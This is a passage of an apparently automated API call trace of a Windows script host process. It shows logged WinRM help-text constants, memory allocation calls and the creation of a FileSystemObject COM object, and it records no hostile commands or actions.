\"-r[emote]:VALUE\"\r\nprivate const L_HelpRemote_004_0_Message = \"---------------\"\r\nprivate const L_HelpRemote_005_0_Message = \"Specifies identifier of remote endpoint/system. \"\r\nprivate const L_HelpRemote_006_0_Message = \"May be a simple host name or a complete URL.\"\r\nprivate const L_HelpRemote_007_0_Message = \"\"\r\nprivate const L_HelpRemote_008_0_Message = \" [TRANSPORT://]HOST[:PORT][/PREFIX]\"\r\nprivate const L_HelpRemote_009_0_Message = \"\"\r\nprivate const L_HelpRemote_010_0_Message = \"Transport: One of HTTP or HTTPS; default is HTTP.\"\r\nprivate const L_HelpRemote_011_0_Message = \"Host: Can be in the form of a DNS name, NetBIOS name, or IP address.\"\r\nprivate const L_HelpRemote_012_0_Message = \"Port: If port is not specified then the following default rules apply:\"\r\nprivate const L_HelpRemote_013_0_Message = \"Prefix: Defaults to wsman.\"\r\nprivate const L_HelpRemote_014_0_Message = \"\"\r\nprivate const L_HelpRemote_015_0_Message = \"Note: IPv6 addresses must be enclosed in brackets.\"\r\nprivate const L_HelpRemote_016_0_Message = \"Note: When using HTTPS, the machine name must match the server's certificate\"\r\nprivate const L_HelpRemote_017_0_Message = \" common name (CN) unless -skipCNcheck is used.\"\r\nprivate const L_HelpRemote_018_0_Message = \"Note: Defaults for port and prefix can be changed in the local configuration.\"\r\n\r\nprivate const L_HelpRemoteExample_001_0_Message = \"Example: Connect to srv.corp.com via http:\"\r\nprivate const X_HelpRemoteExample_002_0_Message = \" winrm get uri -r:srv.corp.com\"\r\nprivate const L_HelpRemoteExample_003_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_004_0_Message = \"Example: Connect to local computer machine1 via https:\"\r\nprivate const X_HelpRemoteExample_005_0_Message = \" winrm get uri -r:https://machine1\"\r\nprivate const L_HelpRemoteExample_006_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_007_0_Message = \"Example: Connect to an IPv6 machine via http:\"\r\nprivate const X_HelpRemoteExample_008_0_Message = \" winrm get uri -r:[1:2:3::8]\"\r\nprivate const L_HelpRemoteExample_009_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_010_0_Message = \"Example: Connect to an IPv6 machine via https on a non-default port and URL:\"\r\nprivate const X_HelpRemoteExample_011_0_Message = \" winrm get uri -r:https://[1:2:3::8]:444/path\"\r\n\r\nprivate const L_HelpRemoteUnencrypted_001_0_Message = \"-un[encrypted]\"\r\nprivate const L_HelpRemoteUnencrypted_002_0_Message = \"--------------\"\r\nprivate const L_HelpRemoteUnencrypted_003_0_Message = \"Specifies that no encryption will be used when doing remote operations over\"\r\nprivate const L_HelpRemoteUnencrypted_004_0_Message = \"HTTP. Unencrypted traffic is not allowed by default and must be enabled in\"\r\nprivate const L_HelpRemoteUnencrypted_005_0_Message = \"the local configuration.\"\r\n\r\nprivate const L_HelpRemoteConfig_001_0_Message = \"To enable this machine to be remotely managed see:\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - AUTH\r\nprivate const L_HelpAuth_001_0_Message = \"winrm OPERATION -remote:VALUE \"\r\nprivate const L_HelpAuth_002_0_Message = \" [-authentication:VALUE] \"\r\nprivate const L_HelpAuth_003_0_Message = \" [-username:USERNAME] \"\r\nprivate const L_HelpAuth_004_0_Message = \" [-password:PASSWORD]\"\r\nprivate const L_HelpAuth_004_1_Message = \" [-certificate:THUMBPRINT]\"\r\nprivate const L_HelpAuth_005_0_Message = \"\"\r\nprivate const L_HelpAuth_006_0_Message = \"When connecting remotely, you can specify which credentials and which\"\r\nprivate const L_HelpAuth_007_0_Message = \"authentication mechanisms to use. If none are specified the current \"\r\nprivate const L_HelpAuth_008_0_Message = \"logged-on user's credentials will be used.\"\r\n\r\nprivate const L_HelpAuthAuth_001_0_Message = \"-a[uthentication]:VALUE\"\r\nprivate const L_HelpAuthAuth_002_0_Message = \"-----------------------\"\r\nprivate const L_HelpAuthAuth_003_0_Message = \"Specifies authentication mechanism used when communicating with remote machine.\"\r\nprivate const L_HelpAuthAuth_004_0_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos, CredSSP.\"\r\nprivate const L_HelpAuthAuth_004_1_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos.\"\r\nprivate const L_HelpAuthAuth_005_0_Message = \"Examples:\"\r\nprivate const X_HelpAuthAuth_006_0_Message = \" -a:None\"\r\nprivate const X_HelpAuthAuth_007_0_Message = \" -a:Basic\"\r\nprivate const X_HelpAuthAuth_008_0_Message = \" -a:Digest\"\r\nprivate const X_HelpAuthAuth_009_0_Message = \" -a:Negotiate\"\r\nprivate const X_HelpAuthAuth_010_0_Message = \" -a:Kerberos\"\r\nprivate const X_HelpAuthAuth_010_1_Message = \" -a:Certificate\"\r\nprivate const X_HelpAuthAuth_010_2_Message = \" -a:CredSSP\"\r\nprivate const L_HelpAuthAuth_011_0_Message = \"Note: If an authentication mechanism is not specified, Kerberos is used unless\"\r\nprivate const L_HelpAuthAuth_012_0_Message = \" one of the conditions below is true, in which case Negotiate is used:\"\r\nprivate const L_HelpAuthAuth_013_0_Message = \" -explicit credentials are supplied and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_013_1_Message = \" -the destination host is \"\"localhost\"\", \"\"127.0.0.1\"\" or \"\"[::1]\"\"\"\r\nprivate const L_HelpAuthAuth_013_2_Message = \" -the client computer is in workgroup and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_014_0_Message = \"Note: Not all authentication mechanisms are enabled by default. ") returned 0x1119d [0147.731] GetProcessHeap () returned 0x249c8690000 [0147.731] RtlReAllocateHeap (Heap=0x249c8690000, Flags=0x0, Ptr=0x249c86bcde0, Size=0x364d6) returned 0x249c8719020 [0147.734] malloc (_Size=0x58) returned 0x249c884ac00 [0147.734] GetCurrentThreadId () returned 0x1020 [0147.734] realloc (_Block=0x0, _Size=0xc8) returned 0x249c884a950 [0147.735] malloc (_Size=0x38) returned 0x249c884aa20 [0147.735] malloc (_Size=0x1008) returned 0x249c884d000 [0147.735] malloc (_Size=0x188) returned 0x249c884e010 [0147.735] malloc (_Size=0x108) returned 0x249c884c230 [0147.735] malloc (_Size=0x400) returned 0x249c884e1a0 [0147.735] malloc (_Size=0x2008) returned 0x249ca440080 [0147.737] malloc (_Size=0x208) returned 0x249c884e5b0 [0147.737] malloc (_Size=0x408) returned 0x249c884e7c0 [0147.738] malloc (_Size=0x808) returned 0x249ca442090 [0147.739] malloc (_Size=0x1008) returned 0x249ca4428a0 [0147.739] malloc (_Size=0x4008) returned 0x249ca4438b0 [0147.742] malloc (_Size=0x2008) returned 0x249ca4478c0 [0147.842] malloc (_Size=0x4008) returned 0x249ca4498d0 [0147.966] malloc (_Size=0x1fc) returned 0x249c884ebd0 [0147.968] malloc (_Size=0x4008) returned 0x249ca4515c0 [0147.968] malloc (_Size=0x4008) returned 0x249ca4555d0 [0147.970] malloc (_Size=0x4008) returned 0x249ca4595e0 [0147.970] malloc (_Size=0x4008) returned 0x249ca45d5f0 [0147.971] malloc (_Size=0x4008) returned 0x249ca461600 [0147.972] realloc (_Block=0x249c884ebd0, _Size=0x3f4) returned 0x249ca44d8e0 [0147.972] malloc (_Size=0x4008) returned 0x249ca465610 [0147.972] malloc (_Size=0x4008) returned 0x249ca469620 [0147.973] malloc (_Size=0x4008) returned 0x249ca46d630 [0147.974] malloc (_Size=0x4008) returned 0x249ca471640 [0147.974] malloc (_Size=0x4008) returned 0x249ca475650 [0147.975] malloc (_Size=0x4008) returned 0x249ca479660 [0147.976] malloc (_Size=0x4008) returned 0x249ca47d670 [0147.977] malloc (_Size=0x4008) returned 0x249ca481680 [0147.979] malloc (_Size=0x4008) returned 0x249ca485690 [0147.979] realloc (_Block=0x249c884e1a0, _Size=0x800) returned 0x249ca4896a0 [0147.979] malloc (_Size=0x4008) returned 0x249ca489eb0 [0147.981] free (_Block=0x249ca44d8e0) [0147.981] free (_Block=0x249c884e010) [0148.068] malloc (_Size=0x320) returned 0x249c884ebd0 [0148.072] realloc (_Block=0x249c884ebd0, _Size=0x4b0) returned 0x249c884e010 [0148.072] realloc (_Block=0x249c884e010, _Size=0x708) returned 0x249ca48dec0 [0148.072] realloc (_Block=0x249ca48dec0, _Size=0xa88) returned 0x249ca48dec0 [0148.072] realloc (_Block=0x249ca48dec0, _Size=0xfc8) returned 0x249ca48dec0 [0148.072] realloc (_Block=0x249ca48dec0, _Size=0x17a8) returned 0x249ca44d8e0 [0148.072] realloc (_Block=0x249ca44d8e0, _Size=0x2378) returned 0x249ca44d8e0 [0148.072] malloc (_Size=0x4008) returned 0x249ca48dec0 [0148.073] malloc (_Size=0x41ce8) returned 0x249ca491ed0 [0148.077] malloc (_Size=0x10) returned 0x249c8849f50 [0148.077] free (_Block=0x249ca485690) [0148.077] free (_Block=0x249ca481680) [0148.077] free (_Block=0x249ca479660) [0148.078] free (_Block=0x249ca475650) [0148.078] free (_Block=0x249ca465610) [0148.078] free (_Block=0x249ca461600) [0148.078] free (_Block=0x249ca4595e0) [0148.078] free (_Block=0x249ca4555d0) [0148.078] free (_Block=0x249ca4498d0) [0148.079] free (_Block=0x249ca4438b0) [0148.079] free (_Block=0x249ca440080) [0148.079] free (_Block=0x249c884d000) [0148.079] free (_Block=0x249c884aa20) [0148.079] free (_Block=0x249ca4896a0) [0148.079] free (_Block=0x249ca44d8e0) [0148.080] free (_Block=0x249ca48dec0) [0148.080] free (_Block=0x249ca489eb0) [0148.081] free (_Block=0x249ca47d670) [0148.081] free (_Block=0x249ca471640) [0148.082] free (_Block=0x249ca46d630) [0148.082] free (_Block=0x249ca469620) [0148.083] free (_Block=0x249ca45d5f0) [0148.084] free (_Block=0x249ca4515c0) [0148.085] free (_Block=0x249ca4478c0) [0148.085] free (_Block=0x249ca4428a0) [0148.085] free (_Block=0x249ca442090) [0148.085] free (_Block=0x249c884e7c0) [0148.085] free (_Block=0x249c884e5b0) [0148.085] free (_Block=0x249c884c230) [0148.085] malloc (_Size=0x50) returned 0x249c884aa20 [0148.085] malloc (_Size=0x20) returned 0x249c884ac60 [0148.085] malloc (_Size=0x10) returned 0x249ca451280 [0148.086] free (_Block=0x249c884a950) [0148.086] malloc (_Size=0x40) returned 0x249c884a950 [0148.086] ISystemDebugEventFire:IsActive (This=0x249c86bcb60) returned 0x1 [0148.086] malloc (_Size=0x18) returned 0x249c884aa80 [0148.086] malloc (_Size=0x2000) returned 0x249ca4d3bc0 [0148.088] malloc (_Size=0x988) returned 0x249c884d000 [0148.089] GetCurrentThreadId () returned 0x1020 [0148.089] GetCurrentThreadId () returned 0x1020 [0148.278] GetCurrentThreadId () returned 0x1020 [0148.278] malloc (_Size=0x208) returned 0x249ca4d5bd0 [0148.278] GetCurrentThreadId () returned 0x1020 [0148.278] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] malloc (_Size=0x408) returned 0x249c884d990 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] malloc (_Size=0x808) returned 0x249c884dda0 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.279] GetCurrentThreadId () returned 0x1020 [0148.280] realloc (_Block=0x0, _Size=0x140) returned 0x249ca4d5de0 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] GetCurrentThreadId () returned 0x1020 [0148.280] malloc (_Size=0x1008) returned 0x249ca440080 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] realloc (_Block=0x249ca4d5de0, _Size=0x280) returned 0x249c884e5b0 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.281] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.282] malloc (_Size=0x2008) returned 0x249ca441090 [0148.282] GetCurrentThreadId () returned 0x1020 [0148.284] realloc (_Block=0x249c884a540, _Size=0x400) returned 0x249c884e840 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.284] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] realloc (_Block=0x249c884e5b0, _Size=0x500) returned 0x249ca4430a0 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.285] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.286] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.287] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] malloc (_Size=0x4008) returned 0x249ca4435b0 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.288] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.289] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] realloc (_Block=0x249ca4430a0, _Size=0xa00) returned 0x249ca4475c0 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.290] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.291] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.292] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.293] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.294] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.295] GetCurrentThreadId () returned 0x1020 [0148.296] malloc (_Size=0x4008) returned 0x249ca447fd0 [0148.296] realloc (_Block=0x249ca4475c0, _Size=0x1400) returned 0x249ca44bfe0 [0148.297] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0xa3529de548 | out: lpclsid=0xa3529de548*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0148.300] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ddfb0 | out: PolicyValue=0xa3529ddfb0) returned 0 [0148.300] SysStringLen (param_1=0x0) returned 0x0 [0148.300] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ddfb0 | out: PolicyValue=0xa3529ddfb0) returned 0 [0148.300] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ddf80 | out: PolicyValue=0xa3529ddf80) returned 0 [0148.300] CoGetClassObject (in: rclsid=0xa3529de548*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ff9dbaa0660*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xa3529de510 | out: ppv=0xa3529de510*=0x249c884a9a0) returned 0x0 [0148.312] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9a0, riid=0x7ff9dbaa0598*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0xa3529de518 | out: ppvObject=0xa3529de518*=0x0) returned 0x80004002 [0148.312] FileSystemObject:IClassFactory:CreateInstance (in: This=0x249c884a9a0, pUnkOuter=0x0, riid=0x7ff9dbaa0888*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xa3529de508 | out: ppvObject=0xa3529de508*=0x249c884a9d0) returned 0x0 [0148.313] FileSystemObject:IUnknown:Release (This=0x249c884a9a0) returned 0x0 [0148.313] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529dded0 | out: PolicyValue=0xa3529dded0) returned 0 [0148.313] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa05a8*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0xa3529de4b8 | out: ppvObject=0xa3529de4b8*=0x0) returned 0x80004002 [0148.313] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa0770*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xa3529de4c8 | out: ppvObject=0xa3529de4c8*=0x249c884a9d0) returned 0x0 [0148.313] FileSystemObject:IUnknown:AddRef (This=0x249c884a9d0) returned 0x3 [0148.313] malloc (_Size=0x4b8) returned 0x249ca4430a0 [0148.313] FileSystemObject:IUnknown:Release (This=0x249c884a9d0) returned 0x2 [0148.313] FileSystemObject:IUnknown:Release (This=0x249c884a9d0) returned 0x1 [0148.313] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529de0b0 | out: PolicyValue=0xa3529de0b0) returned 0 [0148.313] FileSystemObject:IUnknown:AddRef (This=0x249c884a9d0) returned 0x2 [0148.313] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7a8 | out: ppvObject=0xa3529de7a8*=0x0) returned 0x80004002 [0148.313] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884a9d0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de860*="FolderExists", cNames=0x1, lcid=0x409, rgDispId=0xa3529de728 | out: rgDispId=0xa3529de728*=10017) returned 0x0 [0148.314] FileSystemObject:IUnknown:AddRef (This=0x249c884a9d0) returned 0x2 [0148.314] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.314] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884a9d0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b2c8) returned 0x0 [0148.314] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b2c8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c875c8d0 | out: pBstrName=0xa3529de198*="FileSystemObject", 